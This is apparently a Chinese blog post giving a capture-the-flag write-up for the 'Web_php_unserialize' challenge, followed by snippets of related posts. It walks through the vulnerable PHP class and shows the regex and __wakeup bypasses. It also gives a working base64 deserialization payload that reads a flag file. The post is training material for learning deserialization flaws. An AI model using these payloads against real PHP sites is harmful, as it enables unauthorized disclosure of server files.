攻防世界 Web_php_unserialize 反序列化

攻防世界:反序列化 Web_php_unserialize <?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { . 阅读详情

昨天帮忙打了场比赛,web题目里也是有反序列化的题,也是利用魔术方法的调用来构造pop链,获取flag但那道题好绕我不会写,然后还有关于json的题,就发现自己好多都没学,真的打一场比赛容易把自己人都打傻掉。
这道题也是看了好久才明白的题目。
废话不多直接上代码

 <?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

反序列化题基本考的就是函数的绕过以及pop链的构造,说句实话只要难一点的pop链我基本都没啥头绪。感觉得学好久好久。
先代码审计吧
看一下里面的魔法函数
__construct()实例化对象时被调用
__destruct() 当删除一个对象或对象操作终止时被调用
__wakeup() 当用到unserialize()函数时该函数被调用

大家一定要把面向对象学好,理解好类,对象这些
然后pop链就是找到你最后要执行的那个类中的函数,找到各个类和函数之间的关系层层调用最后执行到你想执行的地方

class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 

重心放到这个类中
看到一个the secret is in the fl4g.php 就是说答案在fl4g.php中
那么怎么访问到这个就是我们所需要思考的问题接下来看到一个函数

 function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
在页面中高亮显示$this->file也就是说这个就是我们所需要的函数再看
$this->file 怎么让他等于 fl4g.php  再看到
 public function __construct($file) { 
        $this->file = $file; 
    }

这个函数就能达到我们想要的目的也就是你实例化一个对象后就会直接调用这个函数大致就是
$t=new 类();的时候调用了这个函数。然后会传入 file值
那我们是不是就可以让
$t=new Demo(‘fl4g.php’)来传参来执行这个函数,接下来是这一段

 function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 

如果$this->file的值不为index.php将它赋值为index.php那我们前面的传参不就浪费了嘛,那这个函数不能留,这个函数的调用又在_construct调用之后
所以必须得绕过它。那这个的绕过我们过一会儿再提。接下来是输入部分

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 

这里我们可以看到var的值被base64解码后再进行正则匹配,正则匹配我之前看到一个博客讲的很仔细但我现在找不到了QAQ。大家好好去看看正则匹配。可以直接打开在线正则匹配的网站去试大概就是说[O,C]:[0-9]:这样的都会被正则匹配到但是在序列化的时候我们是不可避免的会被正则匹配到的所以就想办法去绕过就好了php里面的特性+[0-9]就相当于[0-9]那这样大家是不是就有头绪了呢接下来给大家看看我的payload

 <?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$file='fl4g.php';
$t=new Demo($file);
echo serialize($t);
echo base64_encode(serialize($t));

$t=new Demo($file);这样
O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}

Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjg6ImZsNGcucGhwIjt9
让var的值等于这个这样这串值就会被传入先执行_construct()函数再执行
_wakeup(),那我们就想办法绕过这个_wakeup()这里就运用到一个漏洞,
O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}看到这串中被标粗加斜体的了吗如果这个表示对象属性个数的值大于真实个数就会绕过这个_wakeup()所以再加上前面的过滤,那我们就会得到一个
O:+4:“Demo”:2:{s:10:“Demofile”;s:8:“fl4g.php”;}然后再把这一串拿去base64编码就好啦,天真的我真的就拿去加密后就放进去了结果没有内容显示我直接吐出来,后来去查了大佬的博客发现了问题所在
因为Demo类中的file属性是私有属性在序列化过后,类名的前后会有%00阻断,所以我们直接在php文件中就把这一整串都替换好直接用php继续base64编码

$m=serialize($t);
$m=str_replace('1:','2:',$m);
$m=str_replace('O:4','O:+4',$m);
echo base64_encode($m);

最后得到
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
在这里插入图片描述多刷题,多看题,多总结题一定要多做多看!这很重要,pop链的构造真的要多看多去想每个类与函数之间的联系,加油每位CTF人,渗透测试人!!!

PHP反序列化刷题 那么为了维持元素个数为三,就要再添加两个元素。$_SESSION['img']=base64_encode('d0g3_f1ag.php') (变量不可控)$_SESSION['user']和$_SESSION['function']可通并进行了序列化和反序列化。倒推:$userinfo['img']=base64_encode('d0g3_f1ag.php')让输出报错:O:4:"xctf":2:{s:4:"flag";明显要元素个数一直为3,改变img的值,需要把原本的img那段吐出来。 阅读详情

相关推荐

20201229攻防世界WEB高手区题目一题多解全教程通关(1-6)

001baby_web 002Trainng WWW Robots 有关robots.txt的知识可以参考:https://www.cnblogs.com/yuzhongwusan/archive/2008/12/06/1348969.html 打开robots.txt会发现它只允许俄罗斯最大的搜索引擎爬取他的flag: 我们打开BP把自己的USER-agent改为Yandex就好了: 然后访问fl0g.php就会发现我们需要的flag:cyberpeace{3084111b0

qq_45290991的博客 862

攻防世界之Web_php_unserialize(超详细WP)

攻防世界WP

金 帛的博客 4703

[CTF刷题篇]攻防世界Web进阶之unserialize3 Writeup

前言 有了之前的PHP反序列化漏洞实例复现姿势详解这篇文章,突然发现自己终于不再畏惧关于反序列化的题了,刚刚遇见甚至还有一丝兴奋,终于可以验证自己这段时间的付出了! 分析 访问题目中给的url; 很明显,这题就考了2个点: `反序列化` `魔术函数__wakeup()的绕过` 附:绕过__wakeup()的姿势: __wakeup 触发于 unserilize() 调用之前, 当反序列化时的字...

qq_43668710的博客 798

Web_php_unserialize

一、知识基础讲解 1、三个魔术方法: (1)__construct()函数 (2)__destruct()函数 (3)__wakeup()函数 2、两个重要常见的PHP函数 (1)str_replace() 函数 (2)preg_match 函数 3、正则表达式 (1)基本模式匹配规则 (2)字符簇 (3)PHP正则表达式的内置通用字符簇表 (4)单个字符匹配 (5)其他常见正则表达式符号 (6)正则表达式中常用的模式修正符 代码审计与脚本编写详细过程 正则匹配的绕过

Welcome To My6n Blog 2278

【网络安全 | CTF】攻防世界 Web_php_unserialize 解题详析

这段代码接收参数 var,使用 base64_decode 函数对 var 进行解码,然后通过 preg_match 函数判断是否包含类似 o:2的字符串,如果存在则中断程序执行,否则调用 @unserialize 函数进行反序列化操作。这段代码首先定义了一个名为 Demo 的类,包含了一个私有变量 $file 和三个魔术方法 __construct()、__destruct() 和 __wakeup()。3、private在变量名前添加标记\00(classname)\00,长度+2+类名长度,如。

等风来 6142

VIL-SLAM论文翻译:Stereo Visual Inertial LiDAR Simultaneous Localization and Mapping

文章目录写在前面摘要1.引言2.相关工作3.系统概述4.视觉前端5.双目视觉惯性里程计A. IMU预积分因子B. 非结构化视觉因子C. 优化和边缘化6. 激光建图A. LiDAR扫描去畸变B. 帧到地图配准7. LiDAR增强的闭环A. 回环检测B. 回环约束C. 全局位姿图优化D. 重定位8. 实验结果A.平台和软件B.测试和结果C. EuRoCMAV数据集测试9.结论 写在前面 写作参考: robot L 开源代码: 开源代码链接 论文原文: 原文链接 摘要 SLAM是移动和空中机器人的一项基本任务

JaydenQ的博客 2322

Web_php_unserialize(攻防世界)

在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过。2.主要有两个可绕过的点,preg_match和_wake up的绕过。(2)preg_match绕过。(1)_wake up的绕过。1.打开环境,审计代码。

m0_70819573的博客 522

Containerd容器运行时的私有仓库镜像推送push和镜像拉取问题解决

向/etc/containerd/config.toml配置添加如下配置,然后重启containerd。向/etc/containerd/config.toml配置添加如下配置,然后重启containerd。通过crictl为k8s拉取镜像如下所示。可以通过ctr命令进行镜像推送。往私有仓库推送镜像如下。

Bulut0907 1万+

攻防世界Web_php_unserialize

最近开始刷攻防世界的web题目,遇到一个比较有意思的题目。ctf小白大家勿喷 访问题目链接 是一段php代码 对代码进行初步审计 发现unserialize函数 可以确定是一个php反序列化的利用 由于刚开始学习php的反序列化 对php不是特别熟悉所以对代码进行逐行解析 <?php class Demo { private $file = 'index.php'; //设置了类的私有变量 public function __construc...

qq_51233573的博客 2931

CMOS锁相环核心:四种鉴频鉴相器(PFD)结构深度剖析与选型指南

本文深入剖析了CMOS锁相环中四种鉴频鉴相器(PFD)的结构与性能,包括传统RS触发器型、非时钟型、预充电型和边沿触发型PFD。通过详细的电路分析、实测数据和工程案例,提供了PFD选型的实用指南,帮助工程师根据速度、功耗和精度需求选择最优方案,提升锁相环设计效率。

weixin_42530458的博客 588

SC8F073单片机串口通信保姆级教程:从寄存器配置到完整收发Demo(附避坑指南)

本文详细解析了SC8F073单片机串口通信的寄存器配置与调试技巧,涵盖TXSTA、RCSTA和SPBRG寄存器的逐位设置,提供精确的波特率计算方法和工业级抗干扰策略。通过完整的收发Demo和避坑指南,帮助开发者快速掌握底层串口通信技术,适用于工业控制等严苛环境。

weixin_33724046的博客 486

刚学php序列化/反序列化遇到的坑(攻防世界:Web_php_unserialize)

攻防世界,Web_php_unserialize。

m0_46745664的博客 1426

NR RRC协议(2)---RRC连接建立流程

RRC连接建立目的是建立SRB1 RRC连接建立还用于将初始NAS消息从UE传送到网络 RRC连接的初始阶段期间,不激活AS安全性 RRC连接建立由UE侧发起

crg2046的博客 1957

【攻防世界】十五 --- Web_php_unserialize --- php反序列化

题目 — Web_php_unserialize 一、writeup 根据提示是一道php反序列化的题,主页拿到代码进行审计 <?php class Demo { private $file = 'index.php'; // 一个构造函数 public function __construct($file) { $this->file = $file; } // 一个析构函数 function __destruct(

qq_43168364的博客 378

从零构建:如何用MATLAB工具箱打造你的第一个多体动力学仿真模型

本文详细介绍了如何使用MATLAB的Simscape Multibody工具箱从零开始构建多体动力学仿真模型,特别适合初学者学习倒立摆系统的建模与仿真。文章涵盖环境准备、坐标系设置、物理模型构建、参数化建模及性能优化等关键步骤,帮助工程师快速掌握这一强大的仿真工具。

water的专栏 964

C#客户端对接工厂MES的方法

本文介绍了使用C#实现WebApi客户端与工厂MES系统交互的方法。主要包括四个步骤:1)配置工控机IP地址;2)获取服务器URL;3)创建HttpHelper帮助类实现单例模式HttpClient,提供异步POST请求方法;4)通过实例化帮助类实现设备状态数据的JSON格式发送与接收。该方案采用异步通信方式,支持超时处理,能够满足大多数MES系统交互需求,帮助工程师快速完成设备与MES系统的数据对接。文中给出了核心代码片段和完整的数据交互流程示例。

weixin_39832501的博客 267

攻防世界21-Web_php_unserialize-CTFWeb

'index.php’就是index.php,所以要绕过wakeup,之前提到过绕过方法就是当成员属性数目大于实际数目时可绕过wakeup方法。第二,注意到,preg_match(‘/[oc]:\d+:/i’, $var),还有个正则匹配,意思是o或c:几个数字:,末尾的i==> 修饰符,表示忽略大小写,可以用+号来进行绕过。需要注意的是,s:10,他其实是有10个字符,并不是Demofile而是’\x00Demo\x00file’中间不是空格(\x20),而是字符,所以不能复制结果,而要一次性转化。

LH1013886337的博客 581

Python基础语法与最佳实践【python基础篇】

本文全面介绍了Python基础语法与最佳实践,涵盖变量与数据类型、控制流、函数、模块与包等核心概念。通过实际代码示例展示了条件语句、循环结构、函数定义及模块导入的基本用法。在最佳实践部分,重点讲解了PEP 8代码风格规范、异常处理技巧、列表推导式、上下文管理器、文档字符串编写以及enumerate和zip的高效使用。这些内容既适合Python初学者掌握基础语法,也能帮助有经验的开发者编写更规范、高效、可维护的代码。文章强调遵循Python官方推荐实践,通过合理运用语言特性提升代码质量。

博客 1977

长亭php反序列化防护_CTF-攻防世界-Web_php_unserialize(PHP反序列化)

题目解题过程PHP反序列化的一道题,从代码看出flage在fl4g.php这个文件里面,Demo类的构造方法可以传入文件名。把Demo的代码贴到本地做一下序列化classDemo {private $file = 'index.php';public function __construct($file) {$this->file = $file;}function__destruct() ...

weixin_39860064的博客 318

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

攻防世界web进阶区全讲解(超详细的哇)!!(持续更新)

进入题目链接 有登录 就可能有注册界面 url栏register.php 或者直接上御剑扫一下 同样发现注册界面 注册成功后 进行登录 跳转到了这个界面

wo41ge的博客 2789

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

php反序列化

发现它将“O”“C”给禁止了,因此导致正则绕过被过滤掉了,但是代码中的 $var = base64_decode($_GET['var']);和preg_match('/[oc]:\d+:/i', $var)可能会造成漏洞,可以往这一方面想,实操开始。开始解答:反序列化的前提是得有序列化,但是原码中只有一组是定的,其余两组是变量,因此我们需要将变量变成定值,再进行序列化,注意关键中的最后一部分,我们需要post传参,即可爆出答案。结果为O:4:"xctf":1:{s:4:"flag";

2401_86405377的博客 1423

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

php反序列化+题

(serialize):是将变量转换为可保存或传输的字符串的过程(unserialize):就是在适当的时候把这个字符串再转化成原来的变量使用对象序列化成的字节序列会包含对象的类型信息、对象的数据等,说白了就是包含了描述这个对象的所有信息,能根据这些信息“复刻”出一个和原来一模一样的对象。常见的php系列化和反系列化方式主要有:serialize,unserialize;字符详解s:3:"tom";i:18;s:6:"*sex";s:3:"boy";

wwwwyyyrre的博客 703

攻防世界 Web_php_unserialize

定义一个私有属性$file,默认值为。构造函数,当创建对象时调用,将传入的参数$file赋值给属性。析构函数,在对象销毁时自动执行。它调用高亮显示指向的文件内容(第二个参数true表示返回内容而非直接输出),并用抑制错误。反序列化魔术方法,当对象被反序列化时自动调用。如果当前的值不是,则将其重置为。注释提示秘密在f14g.php中,说明目标是通过某种方式读取该文件。

qwq_hajimi的博客 683

PHP序列化和反序列化漏洞

文章目录序列化序列化数组序列化对象反序列化序列化漏洞+实例_wakeup()漏洞的绕过攻防世界:unserialize3攻防世界:Web_php_unserialize函数同名方法利用session利用 序列化 序列化数组 serialize()函数可以序列化对象和数组返回一个字符串 序列化数组 <?php $sites = array('Google', 'Runoob', 'Facebook'); $serialized_data = serialize($sites); echo $ser

CyhDl666的博客 845

XCTF-攻防世界CTF平台-Web类——13、Web_php_unserialize(php反序列化漏洞绕过__wakeup()函数、正则表达式)

打开题目地址: 这也是一个php反序列化的题目 源代码: <?php /** * 定义一个demo类 * / class Demo { # 初始化$file变量的默认值是index.php private $file = 'index.php'; # 类初始化的时候的构造函数,初始化当前对象的页面 public function __construct($file) { $this->file = $file; } # 对象销毁之前的析构函数,高

Onlyone_1314的博客 1433
上一篇: ctfshow web 9
下一篇: 记录BUUCTF的五道题 Secret File,Exec,LoveSQL,Ping Ping Ping,Knife
递归 trash can
博客等级 码龄6年 46粉丝 11原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值